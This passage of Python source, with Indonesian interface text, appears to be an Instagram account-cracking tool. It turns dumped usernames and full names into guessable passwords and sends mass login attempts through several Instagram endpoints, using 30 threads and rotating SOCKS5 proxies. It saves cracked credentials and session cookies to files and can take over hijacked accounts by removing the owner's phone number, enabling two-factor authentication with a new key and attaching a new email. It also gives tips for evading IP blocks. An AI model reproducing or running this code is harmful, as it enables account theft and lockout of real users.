  391.                 try: tree = Tree(f'\r╭ logged in two factor',style='red'); true = tree.add(f"Gagal logged {buka.split('|')[0]}"); true.add(f"Username {buka.split('|')[1]}"); true.add(f"Password {buka.split('|')[2]}"); true = tree.add(f'\r╭ informasi date profiles',style='red'); true.add(f"Followerd {buka.split('|')[3]}"); true.add(f"Following {buka.split('|')[4]}"); true.add(f"Postingan {buka.split('|')[5]}"); tree.add("Success cek in Result 2F"); printz(tree)
  392.                 except Exception: tree = Tree(f'\r╭ logged in two factor',style='red'); true = tree.add(f"Gagal logged {buka.split('|')[0]}"); true.add(f"Username {buka.split('|')[1]}"); true.add(f"Password {buka.split('|')[2]}"); tree.add("Success cek in Result 2F"); printz(tree)
  393.                
  394.         elif result in ('3','03'):
  395.             for buka in open(f'/sdcard/CP/'+str(isi)).readlines():
  396.                 try: tree = Tree(f'\r╭ logged in checkpoint',style='yellow'); true = tree.add(f"Gagal logged {buka.split('|')[0]}"); true.add(f"Username {buka.split('|')[1]}"); true.add(f"Password {buka.split('|')[2]}"); true = tree.add(f'\r╭ informasi date profiles',style='yellow'); true.add(f"Followerd {buka.split('|')[3]}"); true.add(f"Following {buka.split('|')[4]}"); true.add(f"Postingan {buka.split('|')[5]}"); tree.add("Success cek in Result CP"); printz(tree)
  397.                 except Exception: tree = Tree(f'\r╭ logged in checkpoint',style='yellow'); true = tree.add(f"Succes logged {buka.split('|')[0]}"); true.add(f"Username {buka.split('|')[1]}"); true.add(f"Password {buka.split('|')[2]}"); tree.add("Success cek in Result CP"); printz(tree)  
  398.            
  399.     def Methode(self):
  400.         try:
  401.             self.Meterans.append(Panel(f'[bold green]01.[bold white] Methode [bold green]Api V1\n[bold green]02.[bold white] Methode [bold green]Api Threads', title='[bold red]>[bold yellow]>[bold green]>[bold grey50] (Url Api) [bold green]<[bold yellow]<[bold red]<',width = 32, style='bold grey50', subtitle = "╭─────", subtitle_align = "left"))
  402.             self.Meterans.append(Panel(f'[bold green]03.[bold white] Methode [bold green]Ajax V1\n[bold green]04.[bold white] Methode [bold green]Ajax Threads', title='[bold red]>[bold yellow]>[bold green]>[bold grey50] (Url Ajax) [bold green]<[bold yellow]<[bold red]<',width = 32, style='bold grey50'))
  403.             Console().print(Columns(self.Meterans))
  404.             Kntl = Console().input("[bold grey50]   ╰─> ")
  405.             Console(width = 65, style = "bold grey50").print(Panel(f"[italic white]Apakah Anda Ingin Menggunakan Auto Amankan Data Akun OK (y/t)", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] (Secure Akun) [bold green]<[bold yellow]<[bold red]<", subtitle = "╭─────", subtitle_align = "left"))
  406.             Secure_Akun = Console().input("[bold grey50]   ╰─> ")
  407.             if Secure_Akun =='y' or Secure_Akun =='ya':
  408.                 self.amankan_akun.append('ya')
  409.             self.Exec_Methode(Kntl)
  410.         except (Exception) as e:
  411.             Console(width = 65, style = "bold grey50").print(Panel(f"[italic red]{str(e).title()}!", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] (Error) [bold green]<[bold yellow]<[bold red]<"))
  412.             exit()                
  413.        
  414.     def Simpan_Result(self):
  415.         self.waktu = datetime.datetime.now()
  416.         self.bulan = ['Januari', 'Februari', 'Maret', 'April',  'Mei', 'Juni', 'Juli','Agustus', 'September', 'Oktober', 'November', 'Desember']
  417.         return(f'OK-{self.waktu.day}-{self.bulan[self.waktu.month-1]}-{self.waktu.year}', f'2F-{self.waktu.day}-{self.bulan[self.waktu.month-1]}-{self.waktu.year}',f'CP-{self.waktu.day}-{self.bulan[self.waktu.month-1]}-{self.waktu.year}')
  418.        
  419.     def Password(self, fullname):
  420.         self.one = []
  421.         for nama in fullname.split(' '):
  422.             nama = nama.lower()
  423.             if len(nama) <3: continue
  424.             elif len(nama) == 3 or len(nama) == 4 or len(nama) == 5: self.one.append(fullname.lower()); self.one.append(fullname.replace(' ','')); self.one.append(nama+'123'); self.one.append(nama+'1234'); self.one.append(nama+'12345')
  425.             else: self.one.append(fullname.lower()); self.one.append(fullname.replace(' ','')); self.one.append(nama+'123'); self.one.append(nama+'1234'); self.one.append(nama+'12345')
  426.             return(self.one)
  427.        
  428.     def Exec_Methode(self, Kntl):
  429.         self.result_ok,self.result_two,self.result_cp = self.Simpan_Result()
  430.         Console(width = 65, style = "bold grey50").print(Panel(f"[bold green]•[bold white] Result OK Tersimpan Di Folder : [bold green]/sdcard/OK/{self.result_ok}\n[bold red]•[bold white] Result 2F Tersimpan Di Folder : [bold red]/sdcard/2F/{self.result_two}\n[bold green]•[bold white] Result CP Tersimpan Di Folder : [bold yellow]/sdcard/CP/{self.result_cp}", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] (Result Instagram) [bold green]<[bold yellow]<[bold red]<"))
  431.         Console(width = 65).print(Panel('[italic white]Mainkan Mode Pesawat Setiap 200 Looping Agar Terhindar Spam!',title='[bold red]>[bold yellow]>[bold green]>[bold grey50] (Warning Spam) [bold green]<[bold yellow]<[bold red]<',style='bold grey50'))
  432.         with ThreadPoolExecutor(max_workers=30) as V:
  433.             for Username_And_Fullname in dump:
  434.                 username, fullname = Username_And_Fullname.split('<=>')
  435.                 password = self.Password(fullname)
  436.                 if Kntl in ('1'): V.submit(self.ExecApi, username,password)
  437.                 elif Kntl in ('2'): V.submit(self.ExecApi_Threads, username,password)
  438.                 elif Kntl in ('3'): V.submit(self.ExecAjax, username,password)
  439.                 elif Kntl in ('4'): V.submit(self.ExecAjax_Threads, username,password)
  440.                 else: V.submit(self.ExecApi, username,password)
  441.         Console(width = 65, style = "bold grey50").print(Panel(f"[italic white]Selamat Kamu Telah Mendapatkan [bold green]{self.success}[bold white] Hasil OK, [bold yellow]{self.chekpoint}[bold white] Hasil Checkpoint Dan [bold red]{self.faktor}[bold white] Hasil Two Faktor, Dari {len(dump)} Username!", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] (Selesai) [bold green]<[bold yellow]<[bold red]<"))
  442.         exit()
  443.        
  444.     def ExecApi(self, username, password):
  445.         byps = requests.Session()
  446.         Console().print(f"[bold grey50]   ──>[bold white] Crack[bold green] {str(username)[:15]}[bold grey50]/[bold white]{'{:.0%}'.format(self.looping/float(len(dump)))}[bold grey50]/[bold white]{str(len(dump))}[bold grey50]/[bold white]{self.looping}[bold grey50]/[bold white] OK:-[bold green]{self.success}[bold white] CP:-[bold yellow]{self.chekpoint}[bold white] 2F:-[bold red]{self.faktor}[bold white]     ", end='\r')
  447.         for passwd in password:
  448.             try:
  449.                 hash = hashlib.md5()
  450.                 hash.update(username.encode('utf-8') + passwd.encode('utf-8'))
  451.                 hex_ = hash.hexdigest()
  452.                 hash.update(hex_.encode('utf-8') + '12345'.encode('utf-8'))
  453.                 curl = byps.get('https://i.instagram.com/api/v1/qe/sync/', data = {'signed_body': '7b589ee94c17a18ac2ea9a5247069f1d5f631ba9a37fae36429f10be5dddccfa.{"id":"{str(str(uuid.uuid4()))}","server_config_retrieval":"1","experiments": "ig_android_account_switching,ig_android_upsell_fullname,ig_android_one_click_in_old_flow,ig_android_landing_page_fb_button,ig_fbns_push,ig_android_split_username_reg,ig_android_separate_avatar_upload,ig_android_contact_point_triage,ig_fbns_blocked,ig_android_re_enable_login_button,ig_android_phone_tab_on_left"}','ig_sig_key_version': '4'}, allow_redirects=True)
  454.                 headers = {
  455.                     'x-ig-bandwidth-totalbytes-b': str(random.randint(5000000, 90000000)),
  456.                     'x-ig-app-locale': 'in_ID',
  457.                     'x-ig-bandwidth-speed-kbps': str(random.randint(2500000, 3000000) / 1000),
  458.                     'x-ig-device-locale': 'in_ID',
  459.                     'x-ig-mapped-locale': 'id_ID',
  460.                     'x-pigeon-rawclienttime': '{:.6f}'.format(time.time()),
  461.                     'x-ig-bandwidth-totaltime-ms': str(random.randint(2000, 9000)),
  462.                     'x-ig-android-id': f'android-{hash.hexdigest()[:16]}',
  463.                     'x-bloks-version-id': '8ca96ca267e30c02cf90888d91eeff09627f0e3fd2bd9df472278c9a6c022cbb',
  464.                     'x-ig-timezone-offset': str(-time.timezone),
  465.                     'x-ig-connection-type': 'MOBILE(LTE)',
  466.                     'x-ig-capabilities': random.choice(['Fw==','3brTv10=','3brTvw8=','3brTvwM=']),
  467.                     'x-pigeon-session-id': f'UFS-{str(uuid.uuid4())}-0',
  468.                     'x-ig-app-id': '567067343352427',
  469.                     'priority': 'u=3',
  470.                     'x-ig-family-device-id': f'{str(uuid.uuid4())}',
  471.                     'user-agent': Useragent().useragent_api(),
  472.                     'accept-language': 'id-ID, en-US',
  473.                     'x-bloks-is-layout-rtl': 'false',
  474.                     'x-ig-device-id': f'{str(uuid.uuid4())}',
  475.                     'content-type': 'application/x-www-form-urlencoded; charset=UTF-8',
  476.                     'Host': 'i.instagram.com',
  477.                     'x-fb-http-engine': 'Liger',
  478.                     'x-fb-client-ip': 'True',
  479.                     'x-fb-server-cluster': 'True',
  480.                     'x-fb-connection-type': 'MOBILE.LTE',
  481.                     'connection': 'keep-alive',
  482.                     'cookie': (";").join([ "%s=%s" % (key, value) for key, value in byps.cookies.get_dict().items() ])
  483.                 }
  484.                 payload = json.dumps({
  485.                     'username':username,
  486.                     'phone_id': str(uuid.uuid4()),
  487.                     '_csrftoken': curl.cookies.get('csrftoken',None),
  488.                     'guid': str(uuid.uuid4()),
  489.                     'device_id': 'android-'+str(uuid.uuid4()),
  490.                     'login_attempt_count': '0',
  491.                     'enc_password':Requre().enc_password(passwd)
  492.                     }
  493.                 )
  494.                 encode = ('signed_body=7b589ee94c17a18ac2ea9a5247069f1d5f631ba9a37fae36429f10be5dddccfa.'+urllib.parse.quote(payload)+'&ig_sig_key_version=4')
  495.                 proxs = {'http': 'socks5://'+random.choice(Requ().Socksku())}
  496.                 response = byps.post('https://i.instagram.com/api/v1/accounts/login/', data = encode, headers = headers, proxies = proxs, allow_redirects=True).text
  497.                 self.result_ok, self.result_two, self.result_cp = self.Simpan_Result()
  498.                 if 'logged_in_user' in str(response):
  499.                     self.success+=1
  500.                     try: cookie = (';'.join(['%s=%s'%(name, value) for name, value in byps.cookies.get_dict().items()]))
  501.                     except (Exception) as e: cookie = (None)
  502.                     try: fullname, follower, followed, feedpost = Requ().Validasi_Username(username)
  503.                     except (UnboundLocalError) as e: pass
  504.                     if 'ya' in self.amankan_akun:
  505.                         try:
  506.                             num = Require().DeltPhone(cookie)
  507.                             statp, pone = num['Dihapus'], num['Number']
  508.                             deleted = f'{pone} Di Hapus' if statp is True else f'{pone} Tidak Di Hapus'
  509.                             two = Require().Aktifkan2F(cookie)
  510.                             kode, key, statf = two['kode-pemulihan'], two['SecretKey'], two['success-a2f']
  511.                             stat2fa = 'Di Aktifkan' if statf is not False else 'Tidak Aktif'
  512.                             Temp = Require().AddMail(cookie)
  513.                             email, state, inbx = Temp['email'], Temp['di-konfirmasi'], Temp['Url']
  514.                             statd = 'Di Konfirmasi' if state is True else 'Tidak Di Konfirmasi'
  515.                             tree = Tree(f'\r╭ logged in user',style='green')
  516.                             true = tree.add(f'Succes logged {fullname}')
  517.                             true.add(f'Username {username}')
  518.                             true.add(f'Password {passwd}')
  519.                             true = tree.add(f'\r╭ informasi profiles',style='green')
  520.                             true.add(f'Followers {follower}')
  521.                             true.add(f'Following {followed}')
  522.                             true.add(f'Postingan {feedpost}')
  523.                             true = tree.add(f'\r╭ auth secure account',style='green')
  524.                             true.add(f'stats two {stat2fa}')
  525.                             true.add(f'screetkey {key}')
  526.                             true.add(f'pemulihan {kode}')  
  527.                             true.add(f'telephone {deleted}')  
  528.                             true.add(f'add email {email} {statd}')
  529.                             true.add(f'web email {inbx}')
  530.                             tree.add(f'Cookie {cookie}')
  531.                             printz(tree)
  532.                             save = f'{fullname}|{username}|{passwd}|{follower}|{followed}|{feedpost}|{stat2fa}|{key}|{kode}|{deleted}|{email} {statd}|{inbx}|{cookie}\n'
  533.                         except Exception as e:
  534.                             print(e)
  535.                             tree = Tree(f'\r╭ logged in user',style='green')
  536.                             true = tree.add(f'Succes logged {fullname}')
  537.                             true.add(f'Username {username}')
  538.                             true.add(f'Password {passwd}')
  539.                             true = tree.add(f'\r╭ informasi profiles',style='green')
  540.                             true.add(f'Followers {follower}')
  541.                             true.add(f'Following {followed}')
  542.                             true.add(f'Postingan {feedpost}')
  543.                             tree.add(f'Cookie {cookie}')
  544.                             printz(tree)
  545.                             save = f'{fullname}|{username}|{passwd}|{follower}|{followed}|{feedpost}|{cookie}\n'
  546.                     else:
  547.                         tree = Tree(f'\r╭ logged in user',style='green')
  548.                         true = tree.add(f'Succes logged {fullname}')
  549.                         true.add(f'Username {username}')
  550.                         true.add(f'Password {passwd}')
  551.                         true = tree.add(f'\r╭ informasi profiles',style='green')
  552.                         true.add(f'Followers {follower}')
  553.                         true.add(f'Following {followed}')
  554.                         true.add(f'Postingan {feedpost}')
  555.                         tree.add(f'Cookie {cookie}')
  556.                         printz(tree)
  557.                         save = f'{fullname}|{username}|{passwd}|{follower}|{followed}|{feedpost}|{cookie}\n'
  558.                     with open('/sdcard/OK/'+self.result_ok,'a') as wr:
  559.                         wr.write(save)
  560.                         wr.close()
  561.                     break      
  562.                 elif 'two_factor_required' in str(response):
  563.                     try: fullname, follower, followed, feedpost = Requ().Validasi_Username(username)
  564.                     except (UnboundLocalError) as e: pass
  565.                     tree = Tree('\r╭ logged two factor                ',style='red')
  566.                     true = tree.add(f'Gagal logged {fullname}')
  567.                     true.add(f'Username {username}')
  568.                     true.add(f'Password {passwd}')
  569.                     true = tree.add(f'\r╭ informasi profiles',style='red')
  570.                     true.add(f'Followers {follower}')
  571.                     true.add(f'Following {followed}')
  572.                     true.add(f'Postingan {feedpost}')
  573.                     printz(tree)
  574.                     save = f'{fullname}|{username}|{passwd}|{follower}|{followed}|{feedpost}\n'
  575.                     self.faktor+=1
  576.                     with open('/sdcard/2F/'+self.result_two,'a') as wr:
  577.                         wr.write(save)
  578.                         wr.close()  
  579.                     break
  580.                 elif 'challenge_required' in str(response):
  581.                     try: fullname, follower, followed, feedpost = Requ().Validasi_Username(username)
  582.                     except (UnboundLocalError) as e: pass
  583.                     tree = Tree('\r╭ logged challenge                ',style='yellow')
  584.                     true = tree.add(f'Gagal logged {fullname}')
  585.                     true.add(f'Username {username}')
  586.                     true.add(f'Password {passwd}')
  587.                     true = tree.add(f'\r╭ informasi profiles',style='yellow')
  588.                     true.add(f'Followers {follower}')
  589.                     true.add(f'Following {followed}')
  590.                     true.add(f'Postingan {feedpost}')
  591.                     printz(tree)
  592.                     save = f'{fullname}|{username}|{passwd}|{follower}|{followed}|{feedpost}\n'
  593.                     self.chekpoint+=1
  594.                     with open('/sdcard/CP/'+self.result_cp,'a') as wr:
  595.                         wr.write(save)
  596.                         wr.close()
  597.                     break    
  598.                 elif 'ip_block' in str(response):
  599.                     Console().print(f"[bold grey50]   ──>[bold red] HIDUPKAN MODE PESAWAT 5 DETIK!", end='\r')
  600.                     time.sleep(3.5)    
  601.                 else:
  602.                     continue  
  603.             except (requests.exceptions.ConnectionError, requests.exceptions.TooManyRedirects) as e:
  604.                 Console().print(f"[bold grey50]   ──>[bold red] KONEKSI ERROR!", end='\r')
  605.                 time.sleep(31)
  606.                 self.ExecApi(username, password)
  607.         self.looping+=1
  608.        
  609.     def ExecApi_Threads(self, username, password):
  610.         byps = requests.Session()
  611.         Console().print(f"[bold grey50]   ──>[bold white] Crack[bold green] {str(username)[:15]}[bold grey50]/[bold white]{'{:.0%}'.format(self.looping/float(len(dump)))}[bold grey50]/[bold white]{str(len(dump))}[bold grey50]/[bold white]{self.looping}[bold grey50]/[bold white] OK:-[bold green]{self.success}[bold white] CP:-[bold yellow]{self.chekpoint}[bold white] 2F:-[bold red]{self.faktor}[bold white]     ", end='\r')
  612.         for passwd in password:
  613.             try:
  614.                 hash = hashlib.md5()
  615.                 hash.update(username.encode('utf-8') + passwd.encode('utf-8'))
  616.                 hex_ = hash.hexdigest()
  617.                 hash.update(hex_.encode('utf-8') + '12345'.encode('utf-8'))
  618.                 headers = {
  619.                     'x-ig-bandwidth-totalbytes-b': str(random.randint(5000000, 90000000)),
  620.                     'x-ig-app-locale': 'in_ID',
  621.                     'x-ig-bandwidth-speed-kbps': str(random.randint(2500000, 3000000) / 1000),
  622.                     'x-ig-device-locale': 'in_ID',
  623.                     'x-ig-mapped-locale': 'id_ID',
  624.                     'x-pigeon-rawclienttime': '{:.6f}'.format(time.time()),
  625.                     'x-ig-bandwidth-totaltime-ms': str(random.randint(2000, 9000)),
  626.                     'x-ig-android-id': f'android-{hash.hexdigest()[:16]}',
  627.                     'x-bloks-version-id': '8ca96ca267e30c02cf90888d91eeff09627f0e3fd2bd9df472278c9a6c022cbb',
  628.                     'x-ig-timezone-offset': str(-time.timezone),
  629.                     'x-ig-connection-type': 'MOBILE(LTE)',
  630.                     'x-ig-capabilities': random.choice(['Fw==','3brTv10=','3brTvw8=','3brTvwM=']),
  631.                     'x-pigeon-session-id': f'UFS-{str(uuid.uuid4())}-0',
  632.                     'x-ig-app-id': '567067343352427',
  633.                     'priority': 'u=3',
  634.                     'x-ig-family-device-id': f'{str(uuid.uuid4())}',
  635.                     'user-agent': Useragent().useragent_api(),
  636.                     'accept-language': 'id-ID, en-US',
  637.                     'x-bloks-is-layout-rtl': 'false',
  638.                     'x-ig-device-id': f'{str(uuid.uuid4())}',
  639.                     'content-type': 'application/x-www-form-urlencoded; charset=UTF-8',
  640.                     'Host': 'i.instagram.com',
  641.                     'x-fb-http-engine': 'Liger',
  642.                     'x-fb-client-ip': 'True',
  643.                     'x-fb-server-cluster': 'True',
  644.                     'x-fb-connection-type': 'MOBILE.LTE',
  645.                     'connection': 'keep-alive',
  646.                     'cookie': (";").join([ "%s=%s" % (key, value) for key, value in byps.cookies.get_dict().items() ])
  647.                 }
  648.                 encode = (f'params=%7B%22client_input_params%22%3A%7B%22device_id%22%3A%22android-{hash.hexdigest()[:16]}%22%2C%22login_attempt_count%22%3A1%2C%22secure_family_device_id%22%3A%22%22%2C%22machine_id%22%3A%22%22%2C%22accounts_list%22%3A%5B%5D%2C%22auth_secure_device_id%22%3A%22%22%2C%22password%22%3A%22%23PWD_INSTAGRAM%3A0%3A{str(int(datetime.datetime.now().timestamp()))}%3A{urllib.request.quote(str(passwd))}%22%2C%22family_device_id%22%3A%22{str(uuid.uuid4())}%22%2C%22fb_ig_device_id%22%3A%5B%5D%2C%22device_emails%22%3A%5B%5D%2C%22try_num%22%3A3%2C%22event_flow%22%3A%22login_manual%22%2C%22event_step%22%3A%22home_page%22%2C%22openid_tokens%22%3A%7B%7D%2C%22client_known_key_hash%22%3A%22%22%2C%22contact_point%22%3A%22{urllib.request.quote(str(username))}%22%2C%22encrypted_msisdn%22%3A%22%22%7D%2C%22server_params%22%3A%7B%22username_text_input_id%22%3A%22p5hbnc%3A46%22%2C%22device_id%22%3A%22android-{hash.hexdigest()[:16]}%22%2C%22should_trigger_override_login_success_action%22%3A0%2C%22server_login_source%22%3A%22login%22%2C%22waterfall_id%22%3A%22{str(uuid.uuid4())}%22%2C%22login_source%22%3A%22Login%22%2C%22INTERNAL__latency_qpl_instance_id%22%3A152086072800150%2C%22reg_flow_source%22%3A%22login_home_native_integration_point%22%2C%22is_platform_login%22%3A0%2C%22is_caa_perf_enabled%22%3A0%2C%22credential_type%22%3A%22password%22%2C%22family_device_id%22%3A%22{str(uuid.uuid4())}%22%2C%22INTERNAL__latency_qpl_marker_id%22%3A36707139%2C%22offline_experiment_group%22%3A%22caa_iteration_v3_perf_ig_4%22%2C%22INTERNAL_INFRA_THEME%22%3A%22harm_f%22%2C%22password_text_input_id%22%3A%22p5hbnc%3A47%22%2C%22ar_event_source%22%3A%22login_home_page%22%7D%7D&\bk_client_context=%7B%22bloks_version%22%3A%225f56efad68e1edec7801f630b5c122704ec5378adbee6609a448f105f34a9c73%22%2C%22styles_id%22%3A%22instagram%22%7D&bloks_versioning_id=5f56efad68e1edec7801f630b5c122704ec5378adbee6609a448f105f34a9c73')
  649.                 proxs = {'http': 'socks5://'+random.choice(Requ().Socksku())}
  650.                 response = byps.post('https://i.instagram.com/api/v1/bloks/apps/com.bloks.www.bloks.caa.login.async.send_login_request/', data = encode, headers = headers, proxies = proxs, allow_redirects=True).text
  651.                 self.result_ok, self.result_two, self.result_cp = self.Simpan_Result()
  652.                 if 'Bearer IGT:2:' in str(response.replace('\\', '')) and '"pk_id":' in str(response.replace('\\', '')):
  653.                     self.success+=1
  654.                     authorization = re.search('"IG-Set-Authorization": "(.*?)"', str(response.replace('\\', ''))).group(1)
  655.                     try: cookie = json.loads(base64.urlsafe_b64decode(authorization.split('Bearer IGT:2:')[1]))
  656.                     except (Exception) as e: cookie = (None)
  657.                     try: fullname, follower, followed, feedpost = Requ().Validasi_Username(username)
  658.                     except (UnboundLocalError) as e: pass
  659.                     if 'ya' in self.amankan_akun:
  660.                         try:
  661.                             num = Require().DeltPhone(cookie)
  662.                             statp, pone = num['Dihapus'], num['Number']
  663.                             deleted = f'{pone} Di Hapus' if statp is True else f'{pone} Tidak Di Hapus'
  664.                             two = Require().Aktifkan2F(cookie)
  665.                             kode, key, statf = two['kode-pemulihan'], two['SecretKey'], two['success-a2f']
  666.                             stat2fa = 'Di Aktifkan' if statf is not False else 'Tidak Aktif'
  667.                             Temp = Require().AddMail(cookie)
  668.                             email, state, inbx = Temp['email'], Temp['di-konfirmasi'], Temp['Url']
  669.                             statd = 'Di Konfirmasi' if state is True else 'Tidak Di Konfirmasi'
  670.                             tree = Tree(f'\r╭ logged in user',style='green')
  671.                             true = tree.add(f'Succes logged {fullname}')
  672.                             true.add(f'Username {username}')
  673.                             true.add(f'Password {passwd}')
  674.                             true = tree.add(f'\r╭ informasi profiles',style='green')
  675.                             true.add(f'Followers {follower}')
  676.                             true.add(f'Following {followed}')
  677.                             true.add(f'Postingan {feedpost}')
  678.                             true = tree.add(f'\r╭ auth secure account',style='green')
  679.                             true.add(f'stats two {stat2fa}')
  680.                             true.add(f'screetkey {key}')
  681.                             true.add(f'pemulihan {kode}')  
  682.                             true.add(f'telephone {deleted}')  
  683.                             true.add(f'add email {email} {statd}')
  684.                             true.add(f'web email {inbx}')
  685.                             tree.add(f'Cookie {cookie}')
  686.                             printz(tree)
  687.                             save = f'{fullname}|{username}|{passwd}|{follower}|{followed}|{feedpost}|{stat2fa}|{key}|{kode}|{deleted}|{email} {statd}|{inbx}|{cookie}\n'
  688.                         except Exception as e:
  689.                             print(e)
  690.                             tree = Tree(f'\r╭ logged in user',style='green')
  691.                             true = tree.add(f'Succes logged {fullname}')
  692.                             true.add(f'Username {username}')
  693.                             true.add(f'Password {passwd}')
  694.                             true = tree.add(f'\r╭ informasi profiles',style='green')
  695.                             true.add(f'Followers {follower}')
  696.                             true.add(f'Following {followed}')
  697.                             true.add(f'Postingan {feedpost}')
  698.                             tree.add(f'Cookie {cookie}')
  699.                             printz(tree)
  700.                             save = f'{fullname}|{username}|{passwd}|{follower}|{followed}|{feedpost}|{cookie}\n'
  701.                     else:
  702.                         tree = Tree(f'\r╭ logged in user',style='green')
  703.                         true = tree.add(f'Succes logged {fullname}')
  704.                         true.add(f'Username {username}')
  705.                         true.add(f'Password {passwd}')
  706.                         true = tree.add(f'\r╭ informasi profiles',style='green')
  707.                         true.add(f'Followers {follower}')
  708.                         true.add(f'Following {followed}')
  709.                         true.add(f'Postingan {feedpost}')
  710.                         tree.add(f'Cookie {cookie}')
  711.                         printz(tree)
  712.                         save = f'{fullname}|{username}|{passwd}|{follower}|{followed}|{feedpost}|{cookie}\n'
  713.                     with open('/sdcard/OK/'+self.result_ok,'a') as wr:
  714.                         wr.write(save)
  715.                         wr.close()
  716.                     break      
  717.                 elif 'two_factor_required' in str(response):
  718.                     try: fullname, follower, followed, feedpost = Requ().Validasi_Username(username)
  719.                     except (UnboundLocalError) as e: pass
  720.                     tree = Tree('\r╭ logged two factor                ',style='red')
  721.                     true = tree.add(f'Gagal logged {fullname}')
  722.                     true.add(f'Username {username}')
  723.                     true.add(f'Password {passwd}')
  724.                     true = tree.add(f'\r╭ informasi profiles',style='red')
  725.                     true.add(f'Followers {follower}')
  726.                     true.add(f'Following {followed}')
  727.                     true.add(f'Postingan {feedpost}')
  728.                     printz(tree)
  729.                     save = f'{fullname}|{username}|{passwd}|{follower}|{followed}|{feedpost}\n'
  730.                     self.faktor+=1
  731.                     with open('/sdcard/2F/'+self.result_two,'a') as wr:
  732.                         wr.write(save)
  733.                         wr.close()  
  734.                     break
  735.                 elif 'challenge_required' in str(response):
  736.                     try: fullname, follower, followed, feedpost = Requ().Validasi_Username(username)
  737.                     except (UnboundLocalError) as e: pass
  738.                     tree = Tree('\r╭ logged challenge                ',style='yellow')
  739.                     true = tree.add(f'Gagal logged {fullname}')
  740.                     true.add(f'Username {username}')
  741.                     true.add(f'Password {passwd}')
  742.                     true = tree.add(f'\r╭ informasi profiles',style='yellow')
  743.                     true.add(f'Followers {follower}')
  744.                     true.add(f'Following {followed}')
  745.                     true.add(f'Postingan {feedpost}')
  746.                     printz(tree)
  747.                     save = f'{fullname}|{username}|{passwd}|{follower}|{followed}|{feedpost}\n'
  748.                     self.chekpoint+=1
  749.                     with open('/sdcard/CP/'+self.result_cp,'a') as wr:
  750.                         wr.write(save)
  751.                         wr.close()
  752.                     break  
  753.                 elif 'ip_block' in str(response):
  754.                     Console().print(f"[bold grey50]   ──>[bold red] HIDUPKAN MODE PESAWAT 5 DETIK!", end='\r')
  755.                     time.sleep(3.5)                  
  756.                 else:
  757.                     continue  
  758.             except (KeyboardInterrupt, requests.exceptions.ConnectionError, requests.exceptions.TooManyRedirects):
  759.                 Console().print(f"[bold grey50]   ──>[bold red] KONEKSI ERROR!", end='\r')
  760.                 time.sleep(31)
  761.                 self.ExecApi_Threads(username, password)
  762.         self.looping+=1
  763.            
  764.     def ExecAjax(self, username, password):
  765.         byps = requests.Session()
  766.         Console().print(f"[bold grey50]   ──>[bold white] Crack[bold green] {str(username)[:15]}[bold grey50]/[bold white]{'{:.0%}'.format(self.looping/float(len(dump)))}[bold grey50]/[bold white]{str(len(dump))}[bold grey50]/[bold white]{self.looping}[bold grey50]/[bold white] OK:-[bold green]{self.success}[bold white] CP:-[bold yellow]{self.chekpoint}[bold white] 2F:-[bold red]{self.faktor}[bold white]     ", end='\r')
  767.         for passwd in password:
  768.             try:
  769.                 curl = byps.get('https://www.instagram.com/accounts/onetap/?next=%2F&hl=en', headers = {"User-Agent":"Mozilla/5.0 (Linux; Android 10; SM-G973F Build/QP1A.190711.020; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/86.0.4240.198 Mobile Safari/537.36 Instagram 166.1.0.42.245 Android (29/10; 420dpi; 1080x2042; samsung; SM-G973F; beyond1; exynos9820; en_GB; 256099204)"}, allow_redirects=True)
  770.                 try: csrftoken = re.search('{"csrf_token":"(.*?)"', str(curl.text)).group(1)
  771.                 except: csrftoken = None
  772.                 headers = {
  773.                     'Host': 'www.instagram.com',
  774.                     'accept-encoding': 'gzip, deflate',
  775.                     'accept-language': 'en-US,en;q=0.5',
  776.                     'x-csrftoken': csrftoken,
  777.                     'accept': '*/*',
  778.                     'x-requested-with': 'XMLHttpRequest',
  779.                     'referer': 'https://www.instagram.com/accounts/onetap/?next=%2F&hl=en',
  780.                     'user-agent': Useragent().useragent_ajax(),
  781.                 }  
  782.                 payload = {
  783.                     'username': username,
  784.                     'enc_password': '#PWD_INSTAGRAM_BROWSER:0:{}:{}'.format(int(time.time()),passwd),
  785.                     'optIntoOneTap': False,
  786.                     'queryParams': json.dumps({"hl":"en"}),
  787.                     'stopDeletionNonce': '',
  788.                     'trustedDeviceRecords': {}
  789.                 }
  790.                 proxs = {'http': 'socks5://'+random.choice(Requ().Socksku())}
  791.                 response = byps.post('https://www.instagram.com/api/v1/web/accounts/login/ajax/', data = payload, headers = headers, allow_redirects=True).text
  792.                 self.result_ok, self.result_two, self.result_cp = self.Simpan_Result()
  793.                 if 'userId' in str(response):
  794.                     self.success+=1
  795.                     print('ok')
  796.                     try: cookie = (';'.join(['%s=%s'%(name, value) for name, value in byps.cookies.get_dict().items()]))
  797.                     except (Exception) as e: cookie = (None)
  798.                     try: fullname, follower, followed, feedpost = Requ().Validasi_Username(username)
  799.                     except (UnboundLocalError) as e: pass
  800.                     if 'ya' in self.amankan_akun:
  801.                         try:
  802.                             num = Require().DeltPhone(cookie)
  803.                             statp, pone = num['Dihapus'], num['Number']
  804.                             deleted = f'{pone} Di Hapus' if statp is True else f'{pone} Tidak Di Hapus'
  805.                             two = Require().Aktifkan2F(cookie)
  806.                             kode, key, statf = two['kode-pemulihan'], two['SecretKey'], two['success-a2f']
  807.                             stat2fa = 'Di Aktifkan' if statf is not False else 'Tidak Aktif'
  808.                             Temp = Require().AddMail(cookie)
  809.                             email, state, inbx = Temp['email'], Temp['di-konfirmasi'], Temp['Url']
  810.                             statd = 'Di Konfirmasi' if state is True else 'Tidak Di Konfirmasi'
  811.                             tree = Tree(f'\r╭ logged in user',style='green')
  812.                             true = tree.add(f'Succes logged {fullname}')
  813.                             true.add(f'Username {username}')
  814.                             true.add(f'Password {passwd}')
  815.                             true = tree.add(f'\r╭ informasi profiles',style='green')
  816.                             true.add(f'Followers {follower}')
  817.                             true.add(f'Following {followed}')
  818.                             true.add(f'Postingan {feedpost}')
  819.                             true = tree.add(f'\r╭ auth secure account',style='green')
  820.                             true.add(f'stats two {stat2fa}')
  821.                             true.add(f'screetkey {key}')
  822.                             true.add(f'pemulihan {kode}')  
  823.                             true.add(f'telephone {deleted}')  
  824.                             true.add(f'add email {email} {statd}')
  825.                             true.add(f'web email {inbx}')
  826.                             tree.add(f'Cookie {cookie}')
  827.                             printz(tree)
